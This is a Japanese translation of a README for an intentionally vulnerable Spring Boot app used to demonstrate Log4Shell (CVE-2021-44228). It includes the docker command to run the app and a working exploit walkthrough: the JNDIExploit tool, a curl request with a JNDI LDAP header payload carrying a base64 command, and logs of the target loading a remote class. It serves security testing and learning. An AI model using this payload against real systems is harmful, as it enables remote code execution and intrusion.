
Log4Shell (CVE-2021-44228) に対して脆弱な Spring Boot Web アプリケーション。
このリポジトリには、CVE-2021-44228 に対して脆弱な Spring Boot Web アプリケーションが含まれています。この脆弱性は Log4Shell と呼ばれています。
Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1 経由)と JDK 1.8.0_181 を使用しています。

実行:
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
注:この内容は元の LunaSec アドバイザリ から大きく着想を得ています。自己責任で実行してください。可能であればサンドボックス環境の VM 内で行ってください。
更新(12月13日): JNDIExploit リポジトリが GitHub から削除されました(おそらく、GitHub によるものではありません)... こちら から Wayback Machine にキャッシュされたバージョンをダウンロードしてください。
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
# 'touch /tmp/pwned' を実行します
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
/tmp/pwned.txt が作成されたことに注意してください:$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/